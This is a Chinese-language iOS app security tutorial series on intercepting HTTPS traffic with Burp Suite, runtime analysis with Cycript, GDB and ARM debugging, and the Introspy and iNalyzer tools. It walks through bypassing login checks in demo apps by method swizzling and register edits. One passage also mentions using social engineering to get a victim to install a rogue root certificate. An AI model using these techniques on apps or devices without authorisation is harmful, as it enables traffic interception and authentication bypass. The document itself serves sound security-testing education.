如果你点击继续，那么你就能够看到应用的网络流量。请注意，这个警告仅仅针对目前的host，如果你浏览到另一个使用HTTPS的网站，那另一个警告又会弹出来，
因为Burpsuite为每个host生成一个假的SSL证书。
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每当我们通过Burpsuite连接一个HTTPS网站的时候，Burp会为每一个host生成SSL证书，这个证书是用我们自己的CA（Certificate Authority）证书签名的。为了确保不让这些警告每次都跳出，我们要在设备上把这个Burp的CA证书设置为受信任的根证书。因此，需要采取下述步骤。首先是得到这个根证书，然后把它安装到设备上。一旦它安装到设备上，它就是一个受信任的根证书它可以签名所有的证书，并且它签名的所有证书都是合法的。请注意这个证书的私钥(private key)保存在你的电脑上，因此当网络流量通过你电脑上的代理的时候，Burp就能够用这个私钥解密这些数据。这个根证书在你把Burp安装到系统的时候就已经被创建好了。

为了把这个根证书安装到你的系统上，首先配置你的浏览器使用Burpsuite 代理。
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然后浏览使用SSL的网站，你会看到如下的一个警告
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现在我们的任务就是导出这个用来签名所有这些证书的根证书。对于gmail.com域名，我们不可能导出这个根证书，因为我们不能对gmail的域名添加例外。每个域名都可以实施这样的措施。不过，facebook允许我们添加一个例外。用Firefox访问facebook.com。你会看到一个警告，点击“了解这个风险”（Understanding the Risks）
然后点击添加例外（Add an Exception）
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然后，点击查看（view）

[image: ]

点击Details标签，然后选择证书层次最上面的证书。这就是根证书。然后点击导出并保存后缀名为.crt的文件。
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你也可以到Burp的文档找到这些步骤。下面就是[这个链接]的屏幕截图。

[image: ]

现在你就可以把这个文件发送到你的设备上。使用恰当的社会工程学技巧，攻击者就能够把这个证书安装到设备上，用户不会知道会有什么后果。
下面就是你打开这个证书的时候会得到的警告。
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点击安装。你可以看到更详细的警告信息 。

[image: ]

点击完成（done）

[image: ]

现在，既然这个根证书被认为是合法的，每个被这个根证书签名的证书都会被视为合法的，应用就会允许数据被传输。现在，之前不让我们用假的SSL证书传递数据的Snapchat应用允许我们成功的把数据传输出去。这个网络流量会被Burpsuite拦截。如下图所见，在登录调用的时候，我们可以看到用户名和密码和其他一些这个应用正在调用的API请求。

[image: ]

总结

本文我们学习了查看通过iOS设备的网络流量的不同方法。能够知道我们调用的对方是哪里，有哪些请求和响应，请求的头和参数是什么等等会帮助我们了解应用内部是如何工作的。

本文原文是 IOS Application Security Part 11 – Analyzing Network Traffic over HTTP/HTTPS
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        6.2 用Cycript进行运行时分析(Yahoo天气应用)

        
            
            
                用Cycript进行实时修改

本文，我们将使用Yahoo Weather应用来执行所有的测试。它有一个清爽和优雅的UI来提供不同地区的天气信息。

一旦Yahoo Weather应用被安装好，请确保它运行在前台。这是因为如果应用在后台，那它就会被暂停，你也不能对它做啥。一旦应用跑起来，你可以先找到其进程id，然后用cycript -p挂钩其进程。
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如果挂钩成功，你可以得到一个Cycript解释器。你可以通过Objective-C的语法
[UIApplication sharedApplication].来得到实例。

[image: ]

如下图所示，你也可以通过Cycript解释器定义变量。在这里，我定义了一个变量a来代表
[UIApplication sharedApplication]。 请注意，命令的L.H.S(Right Hande Side)是Javascript，而R.H.S(Right Hand Side)是Objective-C语法。这就是Cycript美的地方。

[image: ]

Cycript默认就有这个变量，用它可以很容易的得到应用的实例。

[image: ]

为了找到这个应用的delegate，我们可以用 [UIApplication sharedApplication].delegate.
不过既然我们已经定义了一个a代表应用的实例，我们可以用下图的方式来得到delegate。

[image: ]

因此，我们现在知道这个delegate类的名称是YWAppDelegate。因此delegate文件就是YWAppDelegate.h和YWAppDelegate.m。让我们在它运行的时候试着让它调用几个方法。看这个应用给出如下的图片。
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正如你所看到的那样，这个应用的状态栏被隐藏了。我们可以调用方法让状态栏显示。同时，请确保我们在进行运行时分析这个应用的时候，这个应用运行在前台。
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这是这个应用现在的样子。

[image: ]

正如你看到的，现在状态栏是可见的了。让我们看看我们能否修改这个应用的提醒数字。提醒数字是在应用程序右上角显示的数字。通常它是指一个应用收到的push通知数目。在邮件应用中，它也可以指未读邮件的数量。在Yahoo Weather这个应用中，这里没有push通知的概念，因此，这里没有在应用程序图标的右上角显示数字。这个提醒数字在本地可以很方便的设置。让我们试试给它设置提醒数字为999。
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现在我们按Home键，可以在应用的桌面图标上看到提醒数字。

[image: ]

完美！

现在我们看看还能找出些什么有趣的东西。为了找出当前的view controller，我们首先需要找出keyWindow。 keyWindow是一个用来接受用户交互（例如点击事件）的window。如果你想要找出应用所有的window，可以执行下面的命令。

[image: ]

为了找出在特定时刻的keyWindow。可以这么做。

[image: ]

root view controller可以用如下的方法找出来。

[image: ]

如你所见，rootViewController的名字是YahooSlidingController。从它的名字可以推断，它是如下图的slider所使用的类

[image: ]

因此，这个类基本上是其他所有的view controller的一个外观（facade）类。这意味着当某个菜单被选中的时候，YahooSlidingController负责调用对应的view controller来显示。




总结

本文我们介绍了如何在越狱设备上安装Cycript，如何挂钩运行的进程和找出应用的属性信息。我们也展示了如何在应用程序的沙盒内（由我们自己）调用我们自己的函数。在下一篇文章，我们将找出特定类的所有方法并修改其实现。我们也会看看如何去修改特定类的实例变量。

References:

 Cycript

http://www.cycript.org/ 

 Cycript tricks

http://iphonedevwiki.net/index.php/Cycript_Tricks 

本文原文是 iOS应用程序安全(4)-用Cycript进行运行时分析(Yahoo天气应用)
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        6.3 用Cycript做运行时分析的高级技巧(Yahoo天气应用)

        
            
            
                引言

在前一篇文章中，我们学习了如何在设备上安装使用Cycript。本文我们将使用一些运行时分析的高级技巧。我们将看看如何获得特定类（方法，实例变量）的值并且在运行时修改它们。

找出特定类的方法

现在假定我们正在一个程序运行的时候分析它的流程，那么，知道特定类或者特定view controller正在调用哪些方法将会给我们极大的帮助。因为Cycript能够混合使用Objective-C和javascript，我们能够写一个即有Objective-C又有Javascript语法的函数。我们那个能够在解释器中定义函数，然后在任意时候使用它们以帮助我们找到有用信息。一个能够找到这些有用代码块的地方位于这里。本文我们将使用这里的代码块。

首先，确保我们挂钩进了正在运行的进程。

[image: ]

我们先定义一个能够打印出一个指定类的方法的函数。你可以在这找到这些Cycript tricks。

[image: ]

既然我们已经定义好了方法，那么我们可以输入任何类，然后得到对应的方法列表。从上一片文章中，我们知道Yahoo Weather的delegate是YWAppDelegate. 因此，这里试试这个类包含的所有方法。
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上面打印出了YWAppDelegate定义的方法。 在@selector后面的就是方法名称。请注意，这里会给出关于私有方法的名称，也会给出定义在类中的属性的setter和getter函数。

类似的，我们可以打印出YahooSlidingViewController的方法。
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我们知道YahooSlidingViewController管理着slide菜单，并且充当着外观者（facade）的作用。为了找出真正负责显示天气的view controller，我们可以使用下面的命令。
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因此，YWMainViewController就是当前负责显示天气的view controller。因此，下面的view实际上来自YWMainViewController。

[image: ]

让我们打印出YWMainViewController的方法。

[image: ]

你可以看到，这里有个方法叫做userDidrequestUpdate.

[image: ]

从方法名称可以看出，一旦用户下拉刷新，这个方法就会被调用。有Cycript，我们可以随时调用这个方法。我们要先引用这个view controller，然后在其上调用这个方法。如下图所示。

[image: ]

可以看到，即使我们并没有下拉刷新，应用也完成了更新。

[image: ]

如上面所说，这些方法也包含属性的setter和getter。

从安全的角度来说，能够在运行时操纵应用程序给了我们巨大的优势。我们能够在我们想要的时候调用任何方法。想像一下当用户第一次登陆的时候输入其用户名和密码，一旦登陆成功，一个叫做 didLogin的方法会被调用。我们可以直接调用这个方法而不用输入任何用户名/密码的组合。

如果我们能够把特定view controller的变量都打印出来的话，那会很有用处的。因此，我们定义一个能够打印出所有实例变量的函数，你可以从这找到代码块。
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现在，我们打印出YWMainViewController的实例变量。

[image: ]

你可以看到，这里有一个location view controller的实例变量，你可以向左和向右swipe滑动来查看不同的地方。从名字来看，locationViewControllers
更像是一个viewcontroller数组。使用Cycript，我们能够打印出该变量的值。
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现在我们向右滑到New York

[image: ]

现在我们打印出这个变量

[image: ]

可以看到，这个数组始终包含3个location view，其他的都是nil。它并不把所有的location view controller都包含进来，以便更好的管理内存。所以在任何时刻，我们能够拥有当前正在看的，左边和右边的view controller。当我们想要去另一个不同地方的时候，它会自动的使得当前可见的位于中间并且实例化其左边和右边的view controller，因此当我们滑动的时候，不会感觉到任何的时延。这是个编写不占用过多内存的代码的好方法。

总结

在前两篇文章中，我们对Yahoo weather应用进行了运行时分析。在接下来的文章中，我们将看到更多Cycript的技术，并且我们将关注method swizzling。

References:

Cycript

http://www.cycript.org/

Cycript tricks

http://iphonedevwiki.net/index.php/Cycript_Tricks

本文原文是 iOS应用程序安全(5)-用Cycript做运行时分析的高级技巧(Yahoo天气应用)
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        6.4 用Cycript进行Method Swizzling

        
            
            
                引言

本文我们将在一个例子程序上看如何用Cycript做method Swizzling。

第一件事情就是下载Xcode例子工程。你可以从这下载。或者你也可以从这下载二进制文件。推荐你下载Xcode例子工程，看看源代码。

请确保使用你自己的证书来签名。
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一旦你让这个app在设备上运行起来，ssh进设备，然后用Cycript挂钩这个进程。
你可以通过命令cycript -p [app_id] 来挂钩进入任意进程。
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如你所见，这个app有一个登录框。请注意在本文中，我们只会在点击 Login Method 1这个按钮的时候绕过登录。

[image: ]

用户名和密码是 admin:password。登录后可以进入管理页面。

[image: ]

如果输入的用户名和密码有误，那会得到一个错误提示。

[image: ]

我们的目标就是绕过这个登录view。

首先，我们先找到这个应用对用的root view controller.在cycript中用下面的命令
UIApp.keyWindow.rootViewController

[image: ]

既然我们在应用中看到的第一个视图就是这个登录页面，我们可以确定负责显示这个视图的view controller是我们用前一个命令找到的navigation controller的一部分。我们可以用navigation controller的visibleViewController属性来找到当前的视图。

[image: ]

完美。现在让我们写个函数打印出该view controller的所有方法吧。这个方法是从Cycript技巧页面拿过来用的。我建议你仔细看看这个页面，能发现很多不错的代码。

下面就是我用的代码。

1. function printMethods(className) {
2. var count = new new Type("I");
3. var methods = class_copyMethodList(objc_getClass(className), count);
4. var methodsArray = [];
5. for(var i = 0; i < *count; i++) {
6. var method = methods[i];
7. methodsArray.push({selector:method_getName(method), implementation:method_getImplementation(method)});
8. }
9. free(methods);
10. free(count);
11. return methodsArray;
12. }
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现在让我们打印出当前view controller的所有方法。请注意这个函数取的是类名，在这里是ViewController

[image: ]

获取方法名称的另一个方法就是使用isa.messages属性。根据苹果的官方文档，isa是一个指向类结构的指针。

下面是从同一页摘取的文字。


“当一个新对象创建的时候，其内存会被分配，实例变量会被初始化。在对象的变量里面第一个就是一个指向它的类对象的指针。这个指针，叫做isa, 使得
这个对象能够访问它的类，通过这个类，能够找到所以它继承自的类。”



下面这个来自苹果文档的图解释得很清晰。
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所以，什么是messages属性呢？首先我们必须要知道什么是分发表（dispatch table）。分发表包含了很多条目，这些条目关联方法的selector和方法在类的地址。
让我们看一下从苹果官方的截图。

[image: ]


“给一个对象发送消息的时候，消息函数会根据对象的isa指针到类结构中的分发表查找对方的方法选择器（method selector）。如果没有找到，那objc_msgSend用这个指针找到其superclass，然后查找superclass
的分发表。连续的查找失败会让objc_msgSend一直依次查找类层次直到NSObject。一旦它定位到选择器（selector），objc_msgSend就调用表中的这个方法并且把它接收的对象数据结构传递给它。
这就是在运行时选择方法实现的方法。或者用面向对象编程的术语，这些方法和消息是动态绑定的。”

现在，很容易就能猜到messages属性是能发给类实例或者类本身的方法的消息列表。这将是一个非常大的列表，因为isa指针会选择从它父类一直到NSObject的消息。上面有一行值得特别注意。
“这就是在运行时选择方法实现的方法。或者用面向对象编程的术语，这些方法和消息是动态绑定的。”



因为方法和消息是在运行时绑定的，所以我们能够更改某个特定消息的方法实现。

在这里，让我们打印出App Delegate类的所有消息。
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直接使用messages属性也一样可以。
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在这里，我们关心的时候用来显示登录页的view controller，我们之前就发现它的名称为ViewController.所以打印出这个VC的所有消息。

[image: ]

在输出的顶部，你可以看到这个VC的一些方法。

[image: ]

方法validateLogin看起来很有趣。让我们看看class-dump-z输出的关于这个方法的信息。如果你对class-dump-z不熟悉，请参看本系列的这篇文章。

下面就是我们从class-dump-z的输出中找到的关于ViewController的相关信息。

[image: ]

正如我们看到的，方法validateLogin返回一个BOOL类型值。从这我们可以推断这个方法验证用户的用户名和密码是否正确，正确返回YES，否则返回NO。
有Cycript在手，我们可以改变某个特定消息的实现。让我们来实现一个方法让它总是返回TRUE。
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因此，R.H.S （Right Hand Side）是一个javascript函数，总是返回true。让我们现在点击应用的登录页面的Login Method 1。
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可以看到，认证成功，应用让我们进入管理页面了。我们使用Cycript执行了method swizzling，绕过了登录框。

一些其他有趣的事情。

现在我们看到method swizzling是如何工作的，去了解下绕过这个验证的其他方法也会非常有趣。从class-dump-z的输出结果，我们可以看到一旦validateLogin返回TRUE。方法pushLoginPage就会被调用。其他一些页面可能叫做pushUserPage, 或者pushLoginSuccessfulPage等等。我们不必需要验证一定要是TRUE。我们可以自己调用这个方法。
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因为这是个实例方法，我们通过UIApp.keyWindow.rootViewController.visibleViewController 得到实例。请注意这样做可能导致crash，因为后续被push进的view controller
可能对输入的用户名和密码有依赖。如果你想挑战一下，不妨试试绕过Login Method 2。

总结

本文我们学习了如何利用Cycript来进行method swizzling。

本文原文是 iOS应用程序安全(8)-用Cycript进行Method Swizzling
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        6.5 ARM和GDB基础

        
            
            
                本文将使用的GDB-Demo例子程序可以从我的github账户上下载。请确保在你的设备上安装和运行。

现在让我们SSH进入设备。
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现在我们开启GDB，然后让GDB在应用开启之后就挂钩这个应用。可以通过命令 attach -waitfor Appname来完成。你也可以
在设备上运行这个应用，然后用attach命令挂钩这个运行的进程，如下图所示。
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一旦GDB挂钩进了这个应用，你会注意到这个应用目前是在暂停状态。你可以用 c 命令让这个应用继续执行。不过在继续执行之前，
让我们先做些调查。和任何其它架构一样，ARM中的内存也被分为寄存器（register）。所有的寄存器都是32位的（iOS 7中是64位的），并且它们的目的
就是保存和相互之间移动数据。你可以使用 info registers命令来查看关于这些寄存器的信息。
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请注意这个命令并没有把ARM中的所有寄存器都打印出来。要打印所有的寄存器，使用 info all-registers命令。

[image: ]

要导出汇编信息，使用disassemble 或者 disas 命令。这会给出后续几条指令的一些汇编信息。我们通过在
disas命令后面提供函数名称来导出某个特定函数的汇编。例如要导出main函数的汇编，使用命令 disas main。如下图。
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我们看看刚刚在设备上安装的应用，可以看到只是一个要求（输入）用户名和密码的简单应用。
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我们也可以从用class-dump-z对这个应用导出的信息中找到有个类叫ViewController和一个方法叫做-(void)loginButtonTapped:(id)tapped;

[image: ]

使用GDB，我们可以在应用中设置断点。只需要输入要断下来的方法名称。使用命令 b functionName。你也可以提供不带类信息的方法签名，
如果你不确定的话，GDB会咨询你想要在那个类上设置断点。
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请注意，实例方法前缀都带有一个"-"，而类方法前缀带有"+"，如下图所示。例如，sharedInstance是一个类方法，方法一个单例类的共享实例。
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可以通过命令info breakpoints看到所有的断点。

[image: ]

通过命令 delete 和 断点的ID就可以删除任何断点。
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不管怎样，先给方法loginButtonTapped: 设置一个断点。

[image: ]

现在我们可以用命令continue或者c让应用重新run起来。
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现在点击应用的登录按钮。这样就会触发我们的断点。

[image: ]

我们可以用disassemble命令查看随后的一些汇编信息。

[image: ]

要在任意的指令前面下断点，请在那个指令的地址前面加上"*"

[image: ]

Objective-C是基于消息的，任何时候一有消息被发送，objc_msgSend
就会被调用。

在我们打印出的loginButtonTapped: 的汇编代码当中，这里有许多的objc_msgSend调用。要找出这个调用的一个好方法就是查找blx指令。
在你看到blx指令的地方，你可以确认有一个objc_msgSend正在被调用。

[image: ]

当有新方法被调用，或者有属性（property）被访问的时候，objc_msgSend就会被调用。所以，如果我们在objc_msgSend下一个断点，我们可以
打印出正被调用的方法和调用这个方法的对象，这将帮助我们理解app的整个流程。我们已经在本系列的这篇文章中学习过Snoop-it能够找到所有被追踪的调用。
 要找出正在被调用的方法，我们首先需要查看ARM的调用约定（call convention）。下面是从Wikipedia截取的关于ARM调用约定的图。
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其中有一行很重要。

[image: ]

因此，我们可以给每一个objc_msgSend设置断点，然后使用r0-r3寄存器的值找到传递给这个函数的参数。
我们先看看objc_msgSend的签名。下面是Apple 官方文档的截图。
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因此这个函数的前2个参数是self 和 op，self是一个用来接收这个消息的某个类的实例，op是要处理这个消息的方法的选择器(selector)。
选择器（selector）是关于这个消息的签名。例如，如果一个方法的原型为 -(void)addOjectsToArray:(NSArray *)array，那么它的签名就是
addOjectsToArray:。我们也知道r0-r3用来保存传递给子程序的参数值，因此我们可以推断r0会包含self，而r1会包含op。

我们通过例子来理解。先给objc_msgSend下一个断点，然后继续执行知道断点被触发。
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我们已经知道，r0会包含一个用来接收这个消息的某个类的实例，r1会包内选择器，从r2开始会是传递给方法的参数。不过，我们要先
学下命令 x。x代表检查（examine），会以多种格式帮助我们查看内存。我们能够制定我们想要查看的内存的格式。要找出这个命令的所有
选项，使用命令 help x。
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我们先检查r0。我们知道r0会包含一个用来接收这个消息的某个类的实例，因此我们要使用的格式是x/a。我们在r0签名使用了$，因为我们想要查看内存，因此
使用$。
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我们可以看到接收者是UIRoundedRectButton类的一个实例。现在我们再检查下r1寄存器的值。我们知道它包含一个选择器，例如，方法的签名。
这是一个字符串，因此我们使用 x/s。

[image: ]

现在，我们需要找出传递给这个方法的参数。这个可能会有些棘手，因为我们并不知道r2的格式。但是注意到选择器是respondsToSelector:
用常识我们可以推断参数可能是一个选择器，因此我们再次使用x/s来检查内存。

[image: ]

所有参数就是debugDescription。从方法的选择器我们可以看到，这个函数只有一个参数，因此我们不必进一步检查其他寄存器。所以，
现在我们可以说正在被调用的方式像下面这样。

-[UIRoundedRectButton respondsToSelector:@selector(debugDescription)];

这里会有太多的objc_msgSend会被调用，一个一个简单会非常痛苦。因此，让我们把这个过程自动化。在本系列的[第3篇][3]文章中，我们学到了如何
用gdb在断点触发的时候打印信息。我们这样也用用。

[image: ]

现在输入命令c继续，你可以看到所有被调用的方法。这可以告诉我们很多这个应用的内部信息。

[image: ]

让我们试试以Objective-C类似的语法打印出这些东西。我们将要使用苹果文档中的class_getName。如你所见，它需要提供类对象作为参数，
因此我们传递r0给它。

[image: ]

现在像下面这样重写调用命令。

[image: ]

输入命令c继续，现在你可以看到，信息是更可读的方式了。

[image: ]

这会告诉我们很多关于应用内部发生什么的信息。在接下来的文章中，我们将使用本文学到的东西来学习如何使用GDB执行运行时操作。

本文原文 iOS应用程序安全(21)-ARM和GDB基础
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        6.6 使用GDB进行运行时分析和操作

        
            
            
                本文我们将看看如何使用GDB来对iOS应用进行运行时分析。 在前面的文章中，我们已经查看了如何使用Cycript来分析和操作iOS应用的运行时行为。我们学习了如何执行method swizzling，并且调用我们自己的方法而不是原来的实现。因此，为什么我们还需要GDB呢？Cycript并不运行我们设置断点，不允许在某个特定指令后修改变量和寄存器的值。用GDB，我们可以更深入应用，观察底层的汇编指令，操作寄存器的值，因此可以完全改变程序的运行流程。

你可以从github下载GDB-Demo。然后确保安装和运行它到你的设备上。这个例子应用是一个简单的单视图应用，要求你输入用户名和
密码的组合来登入。然后它在本地验证你输入的凭证，如果用户名/密码输入正确，它会让你登录进去。

[image: ]

一旦应用安装到了设备上，ssh进入设备。

[image: ]
然后在你的设备上开启GDB-Demo这个应用。在GDB中，使用命令 attach GDB-Demo.PiD 附加到这个运行进程，这里的PID是GDB-Demo应用的进程ID。你那里的PID可能不一样。输入attach GDB-Demo然后点击TAB。就会给出你要追加的正确的进程ID。一旦你按了enter，GDB会挂钩进这个运行的进程。
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从上一篇文章我们已经知道这个应用的类信息。我们知道它有一个方法叫做loginButtonTapped:。因此我们给它设置一个断点，然后输入命令c来继续运行这个应用。
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现在输入任意的用户名和密码组合，然后点击登录。断点就会被触发。

[image: ]

使用disas来打印出这个函数的汇编信息。现在我们知道验证就会发生在这个函数内部，因为我们从这个应用的类信息里找不到其他感兴趣的其他相关信息。
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每当一个外部方法或者属性被访问的时候，objc_msgSend就会被调用。不过，在任何程序中msgSend都会被调用成千上万次。
我们只关心和这个函数（loginButtonTapped:）相关的objc_msgSend调用。因此，我们可以找出所有调用objc_msgSend的指令的地址，然后给它设置断点。
一个非常简单的方法就是寻找blx指令，注意它(blx)的地址，然后为它设置一个断点。
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现在我已经为这个函数调用objc_msgSend的入口设置了断点。现在我们一个一个的来看objc_msgSend指令，打印出寄存器的值，看看是否有感兴趣的。
我们将要打印出每个objc_msgSend调用的r1的值。如果没有什么感兴趣的，输入命令c继续直到下一个断点触发。
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这里有些有意思的东西。如果我们看看上图的底部，我们会看到方法isEqualToString:被调用了。因此这是一个和特定字符串的比较。利用从上一篇文章获得的知识
我们可以知道寄存器r2会包含传递给这个函数的参数。并且，如果你有编写Objective-C代码的经验，你会知道每个Objective-C的对象都是一个指针。isEqualToString:这个函数也同样接收一个字符串指针作为参数，保存在r2寄存器中。要找出这个对象的值，GDB有一个特定的命令po，能够打印出这个寄存器中的指针的值。
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因此，这个正被比较的字符串是“Admin”。这看起来像是用户名。看起来工作已经完成了一半。你也可以用如下图的方式打印出r2的值。
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现在更明智的做法就是重新在应用中把用户名输入为Admin。这是因为执行流程可能还走不到检查密码的地方（因为用户名不对）。因此，让我们输入Admin作为
用户名，输入任意的东西作为密码。让我们再次设置断点，然后看看我们是否能够找出密码。在经过一段做同样事情的时间之后，断点将会在isEqualToString:被调用的时候被触发。打印出r2的值，可以看到，密码是HELLOIOSAPPLICATIONEXPERTS。
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现在我们输入找到的用户名和密码的组合，我们将看到。

[image: ]

另一个做到同样事情的方法就是操作寄存器的值。在汇编代码中，我们可以看到有2个调用cmp指令的地方。

[image: ]
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在这两个地方，r0寄存器的值都与0做比较，然后根据比较结果做决定。让我们为这两个地方都设置一个断点然后继续运行应用。

[image: ]

一旦断点触发，设置r0寄存器的值为1.你可以通过命令 set $r0 =1做到。在另一个地方做同样的事情然后继续运行应用。
你会看到你成功登陆，即使你没有输入任何用户名/密码组合。
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顺便说一下，下面是我们破解的loginButtonTapped:的代码。

1. - (IBAction)loginButtonTapped:(id)sender {
2. if([_usernameTextField.text isEqualToString:@"Admin"] && [_passwordTextField.text isEqualToString:@"HELLOIOSAPPLICATIONEXPERTS"]){
3. [self performSegueWithIdentifier:@"adminPage" sender:self];
4. }else{
5. [[[UIAlertView alloc] initWithTitle:@"Error" message:@"Incorrect Username or password" delegate:nil cancelButtonTitle:@"Ok" otherButtonTitles:nil] show];
6. }
7. }


本文我们查看了如何通过GDB在运行时操作应用的执行流程。在整个逻辑都在一个函数内部的情况下，关于GDB的知识特别有用，因为我们不能够使用Cycript的method swizzling技术。掌握好GDB和ARM汇编的知识，修改和操作应用的执行流程的能力只受你的想象力限制。

本文原文 iOS应用程序安全(22)-使用GDB进行运行时分析和操作
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        6.7 使用Introspy进行黑盒测试

        
            
            
                本文我们将看看如何使用Introspy对iOS应用进行黑盒测试。Introspy由ISEC partners开发，其github地址在这。Introspy由两个单独的模块组成，一个追踪器，一个分析器。它是分析iOS应用程序安全毫无疑问的最强大工具之一。

第一步就是在你的设备上安装Introspy追踪器。你可以在这下载到其deb包。下载成功之后，上传并安装到你的设备上。下图展示了上面提到的步骤需要执行的操作。

[image: ]
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一旦追踪器安装好了，重启你的设备。到设置应用，你会看到一个关于Introspy的不同区块。
现在
[image: ]

Introspy App区块允许你选择想要分析的应用。因此，点击它，然后选择你想要分析的应用。我这里选择了Path应用来做分析。

[image: ]

现在到Introspy的Settings，确保每个选项都已选中，特别是选项Log to The Console（把日志输出到控制台）。如果我们选中
这个选项，Introspy分析器将会把它找到的关于这个应用（app）所有信息都输出到控制台，这样我们就能在运行时看到这些信息。

[image: ]

一旦选中了Path应用，请确保它没有在运行。如果它正在运行，请退出并重启Path。另外，请确保你的设备和你的电脑连接好了，因为我们想要看Introspy
分析器记录的日志。同时，请大家你机器上的Xcode（如果你在Mac上），到Window-> Organizer->Devices。在左边的菜单选择你的设备，然后选择控制台。
现在你就可以看到你的设备的日志。

[image: ]

现在开启Path应用，然后尽可能多的使用这个应用。同时，Introspy分将会在后台运行，并且会尽可能多的收集关于这个应用的信息。你也可以看到设备的日志。
这里，我们可以看到有一个向server发起的请求，我们可以看到这个请求的所有内容，包括路径和请求参数。

[image: ]

并且现在，你可以看到这个应用正在使用NSUserDefaults来验证userId这个键。这个信息其实应该保存在keychain的。

[image: ]

但是最有趣的的信息可以从下面的图中看到。正如你所见，这个应用使用NSUserDefaults来验证HangTracerEnabled这个布尔值。这个可能是
用来看这个应用是否在运行时被分析，如果是的话，就退出。不过，这技巧看起来失败了，因为它没有能够检测到Introspy分析器。
不过当我用Snoop-it分析Path应用的时候，它crash了。所以，这个布尔值确定无疑的是用来看应用是否正追踪（被分析）。我们将会在随后的
文章中介绍这些概念。

[image: ]

除了在控制台展示这个应用的运行时信息，Introspy也能够把它保存到你设备上的一个sqlite数据库中。从你的电脑上，你可以获取这个数据库文件
并且Introspy会把它转换成可展示的格式。要从你的iOS 设备上获取这个数据库，首先你需要github页面下载Introspy。到这个分析器的目录，
然后使用如下图的命令。你需要指定在你本地机器上要把报告保存的位置，同时也要指定你的iOS设备的IP地址。

[image: ]

如你所见，Introspy会要求你选择一个数据库文件。这些数据库文件是为每个我们在Settings中选择的应用创建的。在这里，我们选择为Path应用创建的
数据库。
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你可以看到，这个数据库被保存在当前目录下面，同时，当前目录下有一个叫做Path-Report的文件夹被创建。如果我们进入那个文件夹，并且
打开report.html，下图就是我们将会看到的内容。如你所见，Introspy已经用一个很不错的方法把全部信息都展示出来了。我们可以看到被追踪的调用
和其参数。。

[image: ]

我们也可以看到其中有一列叫做"Potential Findings"。这些都是Introspy认为存在漏洞的地方。在这里，我们将看看存储数据不安全的问题。
这可能不算是一个漏洞，因为保存的信息不一定非常重要。

[image: ]

你也可以像下图那样，选择某些选项来定制你看到的信息。
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例如，我已经把它配置成只显示关于UserPreferences的方法。这个信息可能会非常有用，因为它可以帮我们找出那些可能被写入NSUserDefaults的一些重要信息。
即使没有在下图中显示，我也能够容易的知道Path把我的用户id（userId）保存到NSUserDefaults，并且在很多地方都会用到（这个用户id）。这个信息理应保存在
更安全的地方，比如，keychain。

[image: ]

我们也可以直接从命令行对保存的数据库文件进行分析。下面是使用信息。

[image: ]

让我们给这个命令传递参数http'。如你所见，它导出了一列通信方的列表。

[image: ]

Introspy也可以被其他Python脚本导入。我们也可以增加签名来标志漏洞或者不安全的配置。我们将在随后的文章中作介绍。




总结

本文我们查看了如何使用Introspy对iOS应用进行黑盒测试。Introspy由两个模块组成，
一个追踪器，一个分析器。我们可以用追踪器来对应用执行运行时分析。追踪器会把信息保存到sqlite文件中以便后续用分析器分析，追踪器也可以把所有信息都输出到设备的控制台上。分析器可以用这个数据库文件生成一个详尽的HTML报告。

References

Introspy

https://github.com/iSECPartners/introspy

本文原文是 iOS应用程序安全(17)-使用Introspy对iOS应用进行黑盒测试
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        6.8 使用iNalyzer进行动态分析

        
            
            
                在这篇文章我们看到了如何使用iNalyzer对iOS应用进行静态分析。本文我们将看看如何用iNalyer对iOS应用进行运行时分析。我们能够在运行时调用方法，能够在应用的某个特殊时间找出特定实例变量的值，基本上能做我们用Cycript做的所有事情。

在这篇文章当中，我们成功的用Doxygen生成了html文件，并且打开它看到了关于这个应用的类信息和其他信息。我们将使用Firefox浏览器进行运行时分析。这个工具的开发者推荐我再进行运行时分析的时候使用Firefox浏览器，因为其它浏览器用起来可能会有问题。 不过，对我来说，在chrome上好像也工作正常。

要打开运行时解释器，首先需要打开Doxygen为你想要分析的应用生成的index.html文件，然后双击左剪头键。

[image: ]

如上图所示，你可以看到有一个可以输入命令的控制台在顶部出现。第一件事情就是告诉iNalyer你设备的IP地址，在这里是10.0.1.23。输入IP地址后然后确定（按Enter）。

[image: ] 

一旦IP地址设置好之后，请确保我们要分析的应用在设备上是打开的（例如，在前台），并且你的设备没有休眠。这非常重要，
因为如果你的应用在后台或者你的设备在休眠，那你的应用是会被操作系统给暂停的，因此就不可能对这个应用进行任何运行时分析。

一旦应用打开，在控制台输入任意命令，如你使用Cycript会输入的一样。

[image: ]  

正如我们看到的那样，我们会得到一个响应。我们现在可以输入我们想要输入的任何cycript命令。

让我们隐藏应用的状态栏。我们可以用这个命令， [[UIApplication sharedApplication] setStatusBarHidden:YES animated:YES];

[image: ]  

可以看到，我们并没有得到任何响应，那是因为这个方法返回空（void）。

[image: ]  

不过，应用的状态栏已经隐藏起来了。我们在最上面已经看不到时间了。

[image: ]  

类似的，我们可以找到这个应用的delegate类。

[image: ]  

我们也可以设置应用的提醒数字。这里我们设置为9000。

[image: ]  

可以看到，提醒数字成功设置。

[image: ]  

因为这和有一个cycript控制台类似，我们也可以输入javascript代码和任何其他Cycript文档中的命令。
下面就是我输入的从Cycript tricks页面引用的一个命令。

[image: ]  

类似的，我可以同时用javascript和Objective-C的语法来创建函数。如果你对这里说的Cycript不太理解，请
参考本系列前面介绍Cycript和它的详细用法的文章。 

[image: ]

我可以在想要使用这个函数的任何时刻用它。

[image: ]

在本系列的第9部分，我们介绍了Snoop-it。iNalyer和Snoop-it非常类似。不过二者都有优点和不足。
在本文写关于Snoop-it的时候，它并不支持method swizzling而iNalyer支持。蕾丝的，iNalyer不允许我们
监控API调用而Snoop-it可以。因此，这两个应用都有它们的优点和不足。




总结

本文我们学习了如何利用iNalyer来对iOS应用进行运行时分析。对于任何对iOS应用程序安全感兴趣的人来说，iNalyer都是武器库中非常棒的工具，它使得我们的工作更容易、更有效率。

References

iNalyzer
https://appsec-labs.com/iNalyzer

本文原文是 iOS应用程序安全(16)-使用iNalyzer对iOS应用进行动态分析
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        6.9 小结

        
            
            
                本章介绍了使用GDB、Cycript等工具对iOS应用进行动态分析的各种方法，欢迎大家实践。
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        7 iOS越狱程序编写原理

        
            
            
                iOS越狱程序编写原理


            
            

        
    



        
        

    
        7.1 Mobile Substrate简介

        
            
            
                Cydia Substrate

Cydia Substrate(以前叫做MobileSubstrate)是一个框架，允许第三方的开发者在系统的方法里打一些运行时补丁，扩展一些方法，类似OS X上的 Application Enhancer。

saurik为Substrate写了非常全的介绍文档。

